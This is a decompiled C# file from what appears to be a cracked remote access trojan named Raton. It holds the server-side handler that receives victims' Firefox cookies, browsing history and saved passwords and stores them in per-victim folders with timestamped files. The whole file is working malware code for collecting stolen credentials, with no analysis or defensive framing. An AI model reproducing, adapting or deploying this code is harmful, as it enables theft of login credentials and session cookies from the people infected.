Files
2026-08-27 11:23:13 -06:00

60 lines
1.9 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleFirefox
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.IO;
#nullable disable
namespace Server.Handlers;
internal class HandleFirefox
{
public HandleFirefox(SillyClient client, Unpack unpack)
{
try
{
string asString1 = unpack.GetAsString("UID");
if (string.IsNullOrEmpty(asString1))
return;
string asString2 = unpack.GetAsString("Cookies");
string asString3 = unpack.GetAsString("History");
string asString4 = unpack.GetAsString("Passwords");
string str1 = Path.Combine(Program.ClientsFolder, asString1, "Firefox");
if (!Directory.Exists(str1))
Directory.CreateDirectory(str1);
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
if (!string.IsNullOrEmpty(asString2))
{
string str3 = Path.Combine(str1, $"FirefoxCookies_{str2}.txt");
File.WriteAllText(str3, asString2);
this.Log(str3);
}
if (!string.IsNullOrEmpty(asString3))
{
string str4 = Path.Combine(str1, $"FirefoxHistory_{str2}.txt");
File.WriteAllText(str4, asString3);
this.Log(str4);
}
if (string.IsNullOrEmpty(asString4))
return;
string str5 = Path.Combine(str1, $"FirefoxPasswords_{str2}.txt");
File.WriteAllText(str5, asString4);
this.Log(str5);
}
catch
{
}
}
private void Log(string filePath)
{
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the Firefox information: " + filePath), (object) Color.LightGreen)));
}
}